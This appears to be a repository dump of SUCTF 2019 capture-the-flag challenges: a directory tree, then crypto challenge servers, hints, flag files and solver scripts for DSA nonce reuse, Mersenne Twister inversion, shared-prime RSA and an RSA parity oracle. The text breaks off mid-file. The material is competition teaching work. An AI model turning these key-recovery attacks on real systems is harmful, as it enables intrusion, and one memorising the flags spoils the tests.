├── .gitignore ├── Crypto ├── DSA │ ├── challenge.yaml │ ├── exp.py │ ├── flag.py │ ├── flag.pyc │ ├── readme.txt │ ├── server.py │ └── xxx.py ├── MT │ ├── exp.py │ ├── flag.py │ ├── flag.pyc │ ├── mt.py │ └── readme.txt ├── Prime │ ├── exp.py │ ├── exp.pyc │ ├── flag.py │ ├── flag.pyc │ ├── readme.txt │ ├── server.py │ ├── server.py.zip │ ├── start_from_here.py │ ├── util.py │ └── util.pyc ├── RSA │ ├── exp.py │ ├── flag.py │ ├── flag.pyc │ ├── readme.txt │ ├── server.py │ └── start_from_here.py ├── WriteUp.html └── WriteUp.md ├── Misc ├── game │ ├── Dockerfile │ ├── challenge.yaml │ ├── dist │ │ └── iZwz9i9xnerwj6o7h40eauZ.png │ ├── src │ │ ├── css │ │ │ └── style.css │ │ ├── index.php │ │ └── js │ │ │ ├── index.js │ │ │ └── three.min.js │ └── writeup │ │ └── Readme.md ├── guess_game │ ├── Dockerfile │ ├── ctf.xinetd │ ├── exp.py │ ├── src │ │ ├── game_client.py │ │ ├── game_server.py │ │ └── guess_game │ │ │ ├── Game.py │ │ │ ├── RestrictedUnpickler.py │ │ │ ├── Ticket.py │ │ │ └── __init__.py │ └── start.sh ├── homerouter │ ├── homerouter.bin │ └── homerouter.bin.zip ├── protocol │ ├── usbtraffic.pcapng │ └── usbtraffic.pcapng.zip └── 签到题 │ ├── challenge.yaml │ ├── dist │ └── 1.txt.zip │ ├── src │ └── 1.txt │ └── writeup │ └── Readme.md ├── Pwn ├── BabyStack │ ├── BabyStack.exe │ ├── BabyStack.exe.zip │ ├── challenge.yaml │ ├── exp.py │ └── flag.txt ├── playfmt │ ├── exp │ │ └── exp.py │ ├── flag.txt │ ├── writeup见赛题设计说明.txt │ ├── 源代码 │ │ ├── Makefile │ │ └── playfmt.cpp │ └── 题目附件 │ │ ├── playfmt │ │ └── playfmt.zip └── sudrv │ ├── bzImage │ ├── exp │ └── pwn.c │ ├── rootfs.cpio │ ├── start.sh │ └── 归档.zip ├── README.md ├── Rev ├── SignIn │ ├── flag │ ├── signin │ └── signin.zip ├── babyunic │ ├── babyunic 2.zip │ ├── babyunic.zip │ ├── babyunic │ │ ├── babyunic │ │ ├── func │ │ ├── run.sh │ │ └── un.so.1 │ └── flag ├── hardCpp │ ├── writeup │ │ └── writeup.md │ ├── 源代码 │ │ ├── hardCpp.cpp │ │ └── 编译.txt │ └── 题目文件 │ │ ├── hardCpp │ │ └── hardCpp.zip └── rev │ ├── writeup.md │ ├── 源代码 │ ├── rev.cpp │ └── 编译.txt │ └── 题目附件 │ ├── cpp.exe │ └── cpp.exe.zip └── Web ├── Upload Labs 2 ├── Dockerfile ├── README.md ├── dist │ ├── admin.php │ ├── class.php │ ├── config.php │ ├── dist.zip │ ├── func.php │ └── index.php ├── docker-compose.yml ├── src │ ├── flag │ ├── html │ │ ├── admin.php │ │ ├── class.php │ │ ├── config.php │ │ ├── func.php │ │ └── index.php │ ├── php.ini │ └── readflag.c └── writeup │ ├── 1.gif │ ├── README.md │ └── phar.php ├── checkIn ├── Dockerfile ├── docker-compose.yml ├── src │ ├── clean.sh │ ├── default │ ├── flag │ └── html │ │ └── index.php └── writeup │ └── README.md ├── easy_sql ├── .idea │ ├── SUCTF3.iml │ ├── dictionaries │ │ └── meizj.xml │ ├── modules.xml │ └── workspace.xml ├── Dockerfile ├── docker-compose.yml ├── file │ ├── config.php │ └── index.php ├── readme.md ├── run.sh └── sql.sql ├── easyweb ├── challenge.yaml ├── exp │ ├── exp.py │ └── exp2.py ├── src │ ├── 000-default.conf │ ├── Dockerfile │ ├── THis_Is_tHe_F14g │ ├── clean.sh │ ├── docker-compose.yml │ ├── php.ini │ └── www │ │ ├── F1AghhhhhhhhhhhhhHH │ │ └── index.php └── wp │ ├── 1.png │ └── SUCTF 2019 Easyweb.md ├── iCloudMusic └── README.md └── pythonginx ├── Dockerfile ├── README.md ├── app ├── __pycache__ │ └── main.cpython-36.pyc ├── main.py ├── requirements.txt └── templates │ └── index.html ├── challenge.yaml ├── docker-compose.yml ├── flag ├── hosts ├── nginx.conf ├── nginx.sh └── writeup └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store -------------------------------------------------------------------------------- /Crypto/DSA/challenge.yaml: -------------------------------------------------------------------------------- 1 | # Challenge configuration 2 | name: simple pwn # 赛题名称 3 | type: crypto # 赛题类型 (web,pwn,misc,rev,mobile,crypto etc.) 4 | value: 500 # 赛题分值 5 | description: > 6 | 这是一个yaml折行文本, 7 | 在这一项中写赛题说明 8 | flag: flag{s1mple_pwn_fl@g} # 正确的flag 9 | hints: # 赛题提示 10 | - The first hint. 11 | - The second hint. 12 | image: true # 赛题是否包含服务端Docker镜像 -------------------------------------------------------------------------------- /Crypto/DSA/exp.py: -------------------------------------------------------------------------------- 1 | #_*_coding:utf-8_*_ 2 | #@Time: 2019/3/31 10:10 3 | #@Author: xwg 4 | #@FileName: xx11.py 5 | 6 | from Crypto.PublicKey import DSA 7 | from Crypto.Random import random 8 | import socket 9 | import time 10 | from Crypto.Hash import MD5 11 | from Crypto.Util import number 12 | import gmpy2 as gm 13 | 14 | 15 | 16 | 17 | c = socket.socket() 18 | host = 'localhost' 19 | port = 10087 20 | 21 | #c.connect((host, port)) 22 | 23 | time.sleep(1) 24 | 25 | p = 89884656743115795468144027484978714165232986440685807204562889992564167824646759723346809125312616021085697296172504286331475468975945075173117124827460562331871287151027448234306790984335670656070082848238519059914208605197295988808105680747955039631326901720086455490069513934384294923543968946456135257347 26 | 27 | q = 1317281034892139494478309572356462108709017282239 28 | 29 | g = 33534672874398919579510072421201721204694988253416673454353539576009989195698572145239782055882278117258245569769659687211490780161191184581631181848714545159657830191039973884834889526413862169558265727063726257007038469881527764693389063857892533037602510323113512734623637633924524456120935443559409588897 30 | 31 | msg1 = "When I behold the violet past prime" 32 | 33 | msg2 = "Born on the bier with white and bristly beard" 34 | 35 | msg = "And nothing 'gainst Time's scythe can make defence" 36 | 37 | # s1和s2和r需要手动输入 38 | 39 | # When I behold the violet past prime 40 | # (476285682163840111134589069951095433451762033212L, 750878836594769714218369688081048654723959920310L) 41 | 42 | s1 = 695867118826234288019728061102190345510870577729L 43 | 44 | 45 | 46 | # Born on the bier with white and bristly beard 47 | # (476285682163840111134589069951095433451762033212L, 1024301092383298645166193780198072718145056142558L) 48 | 49 | s2 = 1189095586470437230337352901845581329066775460494L 50 | 51 | r = 72901494132238706242193413574196007501544879148L 52 | 53 | m1 = number.bytes_to_long(MD5.new(msg1).digest()) 54 | 55 | m2 = number.bytes_to_long(MD5.new(msg2).digest()) 56 | 57 | 58 | 59 | 60 | 61 | x = (s2 * m1 - s1 * m2) * gm.invert(s1 * r - s2 * r, q) % q 62 | 63 | y = gm.powmod(g,x,p) 64 | 65 | key = DSA.generate(1024) 66 | 67 | #k = random.getrandbits(50) 68 | k = 517796658309687953755760389310 69 | 70 | key.g = g 71 | key.p = p 72 | key.q = q 73 | key.x = x 74 | key.y = y 75 | 76 | print key.g 77 | print key.p 78 | print key.q 79 | print key.x 80 | print key.y 81 | 82 | print '' 83 | 84 | en_msg = number.bytes_to_long(MD5.new(msg).digest()) 85 | 86 | 87 | sign = key.sign(en_msg, k) 88 | print sign 89 | 90 | -------------------------------------------------------------------------------- /Crypto/DSA/flag.py: -------------------------------------------------------------------------------- 1 | 2 | flag = "flag{Wh4t_a_Prety_Si3nature!}" -------------------------------------------------------------------------------- /Crypto/DSA/flag.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Crypto/DSA/flag.pyc -------------------------------------------------------------------------------- /Crypto/DSA/readme.txt: -------------------------------------------------------------------------------- 1 | 1.部署方式 2 | 在服务器端运行server.py 3 | 2.放题方式 4 | nc ip 10011(默认监听端口号10011,如需修改可到代码中修改) 5 | 3.hint 6 | 相同的随机数 7 | 4.flag 8 | flag在文件flag.py中 9 | 5.writeup 10 | exp为利用脚本 -------------------------------------------------------------------------------- /Crypto/DSA/server.py: -------------------------------------------------------------------------------- 1 | #_*_coding:utf-8_*_ 2 | #@Time: 2019/3/31 10:10 3 | #@Author: xwg 4 | #@FileName: xx11.py 5 | 6 | import os 7 | import socket 8 | import threading 9 | import time 10 | import SocketServer 11 | from Crypto.PublicKey import DSA 12 | from Crypto.Random import random 13 | from Crypto.Hash import MD5 14 | from Crypto.Util import number 15 | from flag import flag 16 | 17 | 18 | host, port = 'localhost', 10011 19 | BUFF_SIZE = 1024 20 | 21 | BLOCK_SIZE = 16 22 | 23 | class MySockServer(SocketServer.BaseRequestHandler): 24 | def handle(self): 25 | key = DSA.generate(1024) 26 | poem = ['When I do count the clock that tells the time', 'And see the brave day sunk in hideous night', 27 | 'When I behold the violet past prime', "And sable curls all silver'd o'er with white", 28 | 'When lofty trees I see barren of leaves', 'Which erst from heat did canopy the herd', 29 | "And summer's green, all girded up in sheaves", 'Born on the bier with white and bristly beard', 30 | 'Then of thy beauty do I question make', 'That thou among the wastes of time must go', 31 | 'Since sweets and beauties do themselves forsake', 'And die as fast as they see others grow' 32 | ] 33 | 34 | self.request.send('\n') 35 | self.request.send('\n') 36 | self.request.send('\n') 37 | self.request.send("******************************************************************\n") 38 | self.request.send("* Challenge created by xwg *\n") 39 | self.request.send("******************************************************************\n") 40 | self.request.send('\n') 41 | self.request.send('\n') 42 | self.request.send('\n') 43 | 44 | self.request.send("I love to collect signature, can you sign something for me?") 45 | self.request.recv(4) 46 | self.request.send('\n') 47 | self.request.send("p:"+str(key.p)) 48 | self.request.send('\n') 49 | self.request.send('\n') 50 | self.request.send("q:" + str(key.q)) 51 | self.request.send('\n') 52 | self.request.send('\n') 53 | self.request.send("g:" + str(key.g)) 54 | self.request.send('\n') 55 | self.request.send('\n') 56 | # self.request.send("x:" + str(key.x)) 57 | # self.request.send('\n') 58 | # self.request.send('\n') 59 | self.request.send("y:" + str(key.y)) 60 | self.request.send('\n') 61 | self.request.send('\n') 62 | 63 | self.request.send("let me show you some before:") 64 | self.request.recv(4) 65 | ks = [0] * (len(poem)) 66 | for i in range(len(ks)): 67 | ks[i] = random.randint(1, key.q - 1) 68 | for i in poem: 69 | k = ks[random.randint(1, len(poem) - 1)] 70 | print k 71 | j = number.bytes_to_long(MD5.new(i).digest()) 72 | msg = key.sign(j, k) 73 | self.request.send(i) 74 | self.request.send('\nIts MD5 digest: ' + str(j)) 75 | self.request.send('\n') 76 | self.request.send(str(msg)) 77 | self.request.send('\n') 78 | self.request.send('\n') 79 | self.request.send("------------------------------------------------------------------------") 80 | self.request.send('\n') 81 | self.request.send('\n') 82 | 83 | 84 | 85 | self.request.send("please sign [And nothing 'gainst Time's scythe can make defence] for me:") 86 | self.request.send("\nIts MD5 digest is:") 87 | self.request.send(str(number.bytes_to_long(MD5.new("And nothing 'gainst Time's scythe can make defence").digest()))) 88 | rs = self.request.recv(BUFF_SIZE).strip() 89 | 90 | try: 91 | sign = list(rs.replace("(", "").replace(")", "").replace("L", "").replace(",", '').split()) 92 | for i in range(len(sign)): 93 | sign[i] = int(sign[i]) 94 | sign = tuple(sign) 95 | 96 | if key.verify(MD5.new("And nothing 'gainst Time's scythe can make defence").digest(), sign): 97 | self.request.send("Congratulations!") 98 | self.request.send("\n") 99 | 100 | self.request.send(flag) 101 | else: 102 | self.request.send("Your signature is invalid.") 103 | except ValueError: 104 | self.request.send('wrong format') 105 | 106 | 107 | def main(): 108 | s = SocketServer.ThreadingTCPServer((host, port), MySockServer) 109 | s.serve_forever() 110 | 111 | if __name__ == '__main__': 112 | main() -------------------------------------------------------------------------------- /Crypto/DSA/xxx.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import MD5 2 | from Crypto.PublicKey import DSA 3 | from Crypto.Util import number 4 | from Crypto.Random import random 5 | import gmpy2 as gm 6 | 7 | key = DSA.generate(1024) 8 | 9 | m1 = 'hello' 10 | m2 = 'world' 11 | 12 | h1 = number.bytes_to_long(MD5.new(m1).digest()) 13 | h2 = number.bytes_to_long(MD5.new(m2).digest()) 14 | 15 | k = random.getrandbits(50) 16 | 17 | (r1, s1) = key.sign(h1, k) 18 | (r2, s2) = key.sign(h2, k) 19 | 20 | print (r1, s1) 21 | print (r2, s2) 22 | 23 | print 'begin to crack...' 24 | p = key.p 25 | q = key.q 26 | g = key.g 27 | 28 | x = (s2 * h1 - s1 * h2) * gm.invert(s1 * r1 - s2 * r1, q) % q 29 | assert x == key.x 30 | print 'ok' 31 | -------------------------------------------------------------------------------- /Crypto/MT/exp.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util import number 2 | 3 | transformed_flag = '641460a9e3953b1aaa21f3a2' 4 | c = transformed_flag.decode('hex') 5 | 6 | def decrypt_left(cipher, blocksize, mask): 7 | plain = cipher 8 | t = cipher 9 | for i in range(32 / blocksize): 10 | tt = (t << blocksize) & mask 11 | plain = plain ^ tt 12 | t = tt 13 | return plain 14 | 15 | def decrypt_right(cipher, blocksize, mask): 16 | plain = cipher 17 | t = cipher 18 | for i in range(32 / blocksize): 19 | tt = (t >> blocksize) & mask 20 | plain = plain ^ tt 21 | t = tt 22 | return plain 23 | 24 | def invert(block): 25 | block = decrypt_right(block, 19, 0xffffffff) 26 | block = decrypt_left(block, 17, 2245263360) 27 | block = decrypt_left(block, 9, 2029229568) 28 | block = decrypt_right(block, 13, 0xffffffff) 29 | return block 30 | 31 | def transform(message): 32 | assert len(message) % 4 == 0 33 | new_message = '' 34 | for i in range(len(message) / 4): 35 | block = message[i * 4 : i * 4 +4] 36 | block = number.bytes_to_long(block) 37 | block = invert(block) 38 | block = number.long_to_bytes(block) 39 | new_message += block 40 | return new_message 41 | 42 | flag = transform(c) 43 | print flag.encode('hex') -------------------------------------------------------------------------------- /Crypto/MT/flag.py: -------------------------------------------------------------------------------- 1 | flag = 'flag{84b45f89af22ce7e67275bdc}' -------------------------------------------------------------------------------- /Crypto/MT/flag.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Crypto/MT/flag.pyc -------------------------------------------------------------------------------- /Crypto/MT/mt.py: -------------------------------------------------------------------------------- 1 | from Crypto.Random import random 2 | from Crypto.Util import number 3 | from flag import flag 4 | 5 | def convert(m): 6 | m = m ^ m >> 13 7 | m = m ^ m << 9 & 2029229568 8 | m = m ^ m << 17 & 2245263360 9 | m = m ^ m >> 19 10 | return m 11 | 12 | def transform(message): 13 | assert len(message) % 4 == 0 14 | new_message = '' 15 | for i in range(len(message) / 4): 16 | block = message[i * 4 : i * 4 +4] 17 | block = number.bytes_to_long(block) 18 | block = convert(block) 19 | block = number.long_to_bytes(block, 4) 20 | new_message += block 21 | return new_message 22 | 23 | transformed_flag = transform(flag[5:-1].decode('hex')).encode('hex') 24 | print 'transformed_flag:', transformed_flag 25 | # transformed_flag: 641460a9e3953b1aaa21f3a2 26 | 27 | 28 | -------------------------------------------------------------------------------- /Crypto/MT/readme.txt: -------------------------------------------------------------------------------- 1 | 1.部署方式 2 | 离线题 3 | 2.放题方式 4 | 公开mt.py源文件 5 | 3.hint 6 | (1)MT19937状态还原 7 | (2)解线性同余方程组 8 | 4.flag 9 | flag在文件flag.py中 10 | 5.writeup 11 | exp为利用脚本 -------------------------------------------------------------------------------- /Crypto/Prime/exp.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import gmpy2 as gm 3 | def crack(N, ns, cs): 4 | M = np.ones((N, N)) 5 | M = M.tolist() 6 | for i in range(N): 7 | M[i][i] = 1 8 | for j in range(N): 9 | if i != j: 10 | M[i][j] = gm.gcd(ns[i], ns[j]) 11 | M[i][i] *= M[i][j] 12 | M[i][i] = ns[i] / M[i][i] 13 | 14 | nsns = [1] * 4 15 | for i in range(N): 16 | for j in range(N): 17 | nsns[i] *= M[i][j] 18 | 19 | index = np.ones((N, N)) 20 | index = index.tolist() 21 | 22 | for i in range(N): 23 | for j in range(N): 24 | index[i][j] = 1 25 | for k in range(N): 26 | if k != j: 27 | index[i][j] *= gm.invert(M[i][k], M[i][j] - 1) 28 | 29 | cc = np.ones((N, N)) 30 | cc = cc.tolist() 31 | for i in range(N): 32 | for j in range(N): 33 | cc[i][j] = pow(cs[i], index[i][j], M[i][j]) 34 | 35 | mms = [0] * N 36 | for i in range(N): 37 | for j in range(N): 38 | fac = cc[i][j] 39 | for k in range(N): 40 | if k != j: 41 | fac *= (M[i][k] * gm.invert(M[i][k], M[i][j])) 42 | mms[i] += fac % ns[i] 43 | mms[i] = mms[i] % ns[i] 44 | return mms 45 | 46 | def main(): 47 | cs = [0] * 4 48 | ns = [0] * 4 49 | cs[0] = 0x1748f7f8e9f6f26c7f22e95ca78055cc9c667705adef326be42ce023e2750e0edc037f2217c91c0c33f95724cf5d921591216e01fed07ba860e203a581558d7483b91fe6177bd2e0bd43076ae573aa8b3a0995b2fef9b8c956d754c39af6cef189662ea1ea4be855b0644d47887478af74dfc6f3a7280060eb2f44efb54e7fb60381b1204ab477f93942fe35d7c00ed48066d7012dd503a32522c9b034f2d1475ca3538fbc4cd1ce36a204e3fc426f1e31220d1f25fefb019424cc142510cf38e8ef1eb1e00cd6f588d2d576c8dfffc9616809b4da80f36f48cc85bea768939c82b2e624dacf1e51b5dffcb6af0fd3051030db58baaab4ef36341eaca04d1ffL 50 | ns[0] = 0x4bcedf2f57820578061643c0cca214266ebc5fd0b9206b5af99ce3a88455400dad0a36a0a8c0b7fe27c9263a52fc4981fc8954c37a9b556a1de68951c4b6c82a1956a45e175f4f2e9d6bf15af92cca1a2cc0161ea9d3e3e81c9793408ce2b7b28b69b0621fd95b000ebe7042a4cf436e5c8b9594a95eebd821382e8447446bc989b5109664e58e563d9b507baa1a3f989692be643a76c0dd6592fa30e1b5b25d722a401152d4b9a9f55320375a82e483d4f14c904db02b96047dbc633ddda9ec04979a54ab469d437a1cb9749e9de51ae41a458e4b02120ff440fee2c07659a249a6812950fd63e3e6ad90b2e90973097f5e9247a9d9376fef121b4bafb08e7L 51 | cs[1] = 0x309645ca5609b145bbb1e9f8a5a2e50368b4f7510f2b9acd1f42b8c0a98ddc27544354cb0f377f37e544a896887dfe0a19f7f70bd2afcc424a1281370f3a229d9c3fe0f8bc4d87b667697d188faf88576587d893ac334e32b5c0d1111279b6a87a0e8c12f89a84b0694dd966667e603ed3d439e58b9ead5ce50984088de33ea537b75e3c2964baecd98248cff66ec66346d2cbc639ea2934e43149d5af30d003ae272eb1f4f219d93e773b93e0030226c1afbc8aa99af068fc0984be75798a20482d34c7183b9fde9f0bd91906a667e435515d4613b085bedbeebeda1c6196a35daace2376552d4f081dcddb3e623849bdaadef075792c6e82a7bcd1295b980L 52 | ns[1] = 0x7682639d83f55e888593263709022e3f8e5527679e43d67497b67a0715564718365f6a8de62b34d3845254b3c1f54784850c7e80192c3dc5ac6db0b76f0f9f424721439eabde70223916ad7e68043d90f8f2db1147baf768975d6016c8ae0b41f34f73f5b680a9e9c68290cc27e29ed4b513fb5b00a8d33d82f0c5dd811fb363f18700eac815a8d875825e86af8fff5c7b48fb4d71622bfdb61a102693493f261c777a246786aa094a60f406ebe0643a11d1677b7a5b652d8fdf2462c4ed10300c9ea64c04b05c285cded772cc3ccd0b4e21433882ca6d44360e642e67d9f7bd8af5fb6526ab68953b8f0849a05c63c1101c8c2c3a8504471c58859cd1aeb27L 53 | cs[2] = 0x15e5289fde3971ec82410b7093f01655fbc26219b457c8b3b2cb0868f6e5873340bb2d42e55682d2bcb881dd67cc6014965c5958f767e57483237003918a618449f9bb6a84132c668ed8be8c0629022185a488d2979d1f42bdee185b1da19e57e4a4998ecea213a3e60b5578531c91e11519b491d27a39467206bfd8084f07f8fe45d9b27343d365ceabd6244653c682cc878599c82223e931789838b8c1d8b59e6132a3c9ddcacd0fa6316836357f7bf4eefa89bea04ab4f658e5c9064019d1c2dae2c9241af198ae03ba3c0f34a834fb96d5126b1122db16e2f0cc5721b73a52d17458b5c1d764f78c909142e911ca4ff53c041dfcf482c395a3c5741795L 54 | ns[2] = 0x3e9cc5512262438b8a95b11e54cfa23344bb11c9cf15677334b58fb84e309b5ba70cb75cba81b6dd58f55262c77cd63b0e8fe701d52b326f5827ba617173bfb1d64afbd0fc77c8dc9c7ec6dd651d1696c2a741f17270856cbbd498419fffc5386d8a84f5419932b71dfc4f59a10c2c68b7c7bd263beef434b506e1157f427f7101a2bb9c52cba572222f6dc54ec156ad4bdb3fa2e6b14a4f0db8ab03ffa013dcc06f96f774a52223c3d841c7c641094dac2565b50d9fe367b3ebf2c15b2f6fb1f0df9d270c139a7e79f82eb43be5c029262e6788b1283ffeb0d205eca8cf64a9d421bdbee741a39a454fa64bcd24c597ebf49e3b0b72932315c1505f5e8727L 55 | cs[3] = 0x15feb312a555238dc2ef71f3064d25ef25c2704dae26dca3f1e3e8e1ed5c5e2b4bb10a5981feb9c83bef6082964d100ea28e05e996a5669a954258c3891a1a74a17f16845758791f2f5af8a7a51bf2765a49a761eb74f52af8631bd7cedbb1ac346cfa71a2720516aaaaa5d3a131b805915a5d9d13823b9b7575427bbc7718d42cbc44a06585ebef835ab009c912074c43e2e4c1d229add0c84ed378a6f324f9b3ada94b8c4debdf2b0d16292d7be400c3bb9d5494e73a55bc47a3e5d6e845dca7a296fbda187d3a70349a83afc7a7553fe48fb97cc6f171b8bf77ffba39361a84b8db77ad258c6fdfe53652ce4eee52ab26f9c968f5be0822e7bfc321400d1L 56 | ns[3] = 0x161a3792a78b9c61b75f0e98b99eeea6dc0fedbd4bb0994dd54b2e60f55a039180c98f2aa1a47afe0f07831cdb03cfb05e1878854262f6a5664f8124defc88786c0c15abde60e39cc300f3d0f22757d8914e94f3b324f5262fd188476a403fa24609220dad6012f7cb34231b82b055af34d09e3d2b55d88cd6625c29f98f84b7ad9cefdd3a24a04875cfa8cad00f6a0eca292648b78c28a4714c98000b5dfdb5a4dcd90e38ec529b6c9fb815130f202221d1fa36e7483ee632f98aa3df95b2118a254f8a01ebd7c22ca99ed97d89e6eb8d6f0c98a732d679e9869fb702cae507ba297fcc35ad08e4e2ef8f4166396eed51ec046e36e8d6ff34e3164088281e3L 57 | 58 | ms = crack(4, ns, cs) 59 | for i in ms: 60 | print hex(i) 61 | 62 | if __name__ == '__main__': 63 | main() -------------------------------------------------------------------------------- /Crypto/Prime/exp.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Crypto/Prime/exp.pyc -------------------------------------------------------------------------------- /Crypto/Prime/flag.py: -------------------------------------------------------------------------------- 1 | flag = 'flag{H0W_c1EV3R_Y0u_AR3_C0ngRatu1at10n5}' -------------------------------------------------------------------------------- /Crypto/Prime/flag.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Crypto/Prime/flag.pyc -------------------------------------------------------------------------------- /Crypto/Prime/readme.txt: -------------------------------------------------------------------------------- 1 | 1.部署方式 2 | 在服务器端运行start_from_here.py 3 | 2.放题方式 4 | (1)nc ip 22222(默认监听端口号22222,如需修改可到代码中修改) 5 | (2)公开server.py源文件 6 | 3.hint 7 | (1)找出各个n的素因子 8 | (2)费马小定理/欧拉定理 9 | (3)中国剩余定理 10 | 4.flag 11 | flag在文件flag.py中 12 | 5.writeup 13 | exp为利用脚本 -------------------------------------------------------------------------------- /Crypto/Prime/server.py: -------------------------------------------------------------------------------- 1 | from Crypto.Random import random 2 | import util 3 | import flag 4 | 5 | from random import choice 6 | from string import hexdigits 7 | from hashlib import md5 8 | 9 | def proof_of_work(): 10 | part_hash = "".join([choice(hexdigits) for _ in range(5)]).lower() 11 | salt = "".join([choice(hexdigits) for _ in range(4)]).lower() 12 | print '[*] Please find a string that md5(str + ' + salt + ')[0:5] == ' + part_hash 13 | string = raw_input('> ') 14 | if (md5(string + salt).hexdigest()[:5] != part_hash): 15 | print('[-] Wrong hash, exit...') 16 | exit(0) 17 | 18 | def main(): 19 | N = 4 20 | scale = 2048 21 | ns = util.generateNs(N, scale) 22 | ms = [0] * N 23 | for i in range(len(ms)): 24 | ms[i] = random.randint(0, ns[i] - 1) 25 | cs = [0] * N 26 | for i in range(N): 27 | cs[i] = pow(ms[i], ns[i], ns[i]) 28 | print 'cs[%d] = %s'%(i, hex(cs[i])) 29 | print 'ns[%d] = %s'%(i, hex(ns[i])) 30 | 31 | for i in range(N): 32 | x = raw_input('ms[%d] = '%i).strip() 33 | assert int(x, 16) == ms[i] 34 | 35 | print flag.flag 36 | 37 | if __name__ == '__main__': 38 | proof_of_work() 39 | try: 40 | main() 41 | except: 42 | print 'Error!' 43 | -------------------------------------------------------------------------------- /Crypto/Prime/server.py.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Crypto/Prime/server.py.zip -------------------------------------------------------------------------------- /Crypto/Prime/start_from_here.py: -------------------------------------------------------------------------------- 1 | import os 2 | port = 22222 3 | command = 'socat -d -d tcp-l:' + str(port) + ',reuseaddr,fork EXEC:"python -u server.py" ' 4 | os.system(command) -------------------------------------------------------------------------------- /Crypto/Prime/util.py: -------------------------------------------------------------------------------- 1 | from Crypto.Random import random 2 | import gmpy2 as gm 3 | import numpy as np 4 | def generateAPrime(scale): 5 | while True: 6 | x = random.getrandbits(scale) 7 | if gm.is_prime(x): 8 | return x 9 | 10 | def generateNs(N, scale): 11 | M = np.zeros((N, N)) 12 | M = M.tolist() 13 | for i in range(N): 14 | for j in range(i + 1): 15 | M[i][j] = generateAPrime(scale / 4) 16 | M[j][i] = M[i][j] 17 | ns = [1] * N 18 | for i in range(N): 19 | for j in range(N): 20 | ns[i] = ns[i] * M[i][j] 21 | return ns 22 | 23 | -------------------------------------------------------------------------------- /Crypto/Prime/util.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Crypto/Prime/util.pyc -------------------------------------------------------------------------------- /Crypto/RSA/exp.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | import math 3 | def getNEC(conn): 4 | message = conn.recvuntil('n = ', drop = True).strip() 5 | print message 6 | n = conn.recvuntil('e = ', drop = True).strip() 7 | print 'n = ', n 8 | e = conn.recvuntil('The Encypted secret:', drop=True).strip() 9 | print 'e = ', e 10 | conn.recvuntil('c = ') 11 | c = conn.recvuntil('Options:', drop = True).strip() 12 | print 'c = ', c 13 | message = conn.recvrepeat(3) 14 | print 'Options:\n' + message 15 | return int(n), int(e), int(c) 16 | 17 | def getParity(conn, cc): 18 | conn.sendline('D') 19 | # print 'D' 20 | message = conn.recvuntil('message:') 21 | # print message 22 | conn.sendline(str(cc)) 23 | # print cc 24 | message = conn.recvuntil('option:') 25 | # print message 26 | if 'odd' in message: 27 | return 1 28 | elif 'even' in message: 29 | return 0 30 | 31 | def crack(conn): 32 | n, e, c = getNEC(conn) 33 | rounds = int(math.ceil(math.log(n, 2))) 34 | d = pow(2, e, n) 35 | cc = c 36 | eigenvalue = 0 37 | for i in range(rounds): 38 | if i % 256 == 0: 39 | print i 40 | cc = (cc * d) % n 41 | parity = getParity(conn, cc) 42 | eigenvalue = (eigenvalue << 1) + parity 43 | if eigenvalue == 0: 44 | return 0 45 | else: 46 | return n * eigenvalue / pow(2, rounds) + 1 47 | 48 | def main(): 49 | conn = pwn.remote('localhost', 12345) 50 | for i in range(10): 51 | mm = crack(conn) 52 | conn.sendline('G') 53 | message = conn.recvrepeat(1) 54 | print message 55 | conn.sendline(str(mm)) 56 | print mm 57 | message = conn.recvuntil('Congratulations!') 58 | # message = conn.recvrepeat(3) 59 | print message 60 | message = conn.recvrepeat(2) 61 | print message 62 | 63 | if __name__ == '__main__': 64 | main() 65 | -------------------------------------------------------------------------------- /Crypto/RSA/flag.py: -------------------------------------------------------------------------------- 1 | flag = 'flag{aabe6ba4245f3685db029b126068b7ab393187ab}' -------------------------------------------------------------------------------- /Crypto/RSA/flag.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Crypto/RSA/flag.pyc -------------------------------------------------------------------------------- /Crypto/RSA/readme.txt: -------------------------------------------------------------------------------- 1 | 1.部署方式 2 | 在服务器端运行start_from_here.py 3 | 2.放题方式 4 | nc ip 12345(默认监听端口号12345,如需修改可到代码中修改) 5 | 6 | 3.hint 7 | parity Oracle 8 | 4.flag 9 | flag在文件flag.py中 10 | 5.writeup 11 | exp为利用脚本 -------------------------------------------------------------------------------- /Crypto/RSA/server.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | from Crypto.Random import random 3 | import flag 4 | 5 | from random import choice 6 | from string import hexdigits 7 | from hashlib import md5 8 | 9 | def proof_of_work(): 10 | part_hash = "".join([choice(hexdigits) for _ in range(5)]).lower() 11 | salt = "".join([choice(hexdigits) for _ in range(4)]).lower() 12 | print '[*] Please find a string that md5(str + ' + salt + ')[0:5] == ' + part_hash 13 | string = raw_input('> ') 14 | if (md5(string + salt).hexdigest()[:5] != part_hash): 15 | print('[-] Wrong hash, exit...') 16 | exit(0) 17 | 18 | options = 'Options:\n\ 19 | [D] Decrypt a message.\n\ 20 | [G] Guess the secret.\n\ 21 | [Q] Quit.' 22 | def challenge(): 23 | k = RSA.generate(2048) 24 | m = random.randint(0, k.n-1) 25 | print 'n = %d' % k.n 26 | print 'e = %d' % k.e 27 | c = k.encrypt(m, 0) 28 | print 'The Encypted secret:' 29 | print 'c = %d' % 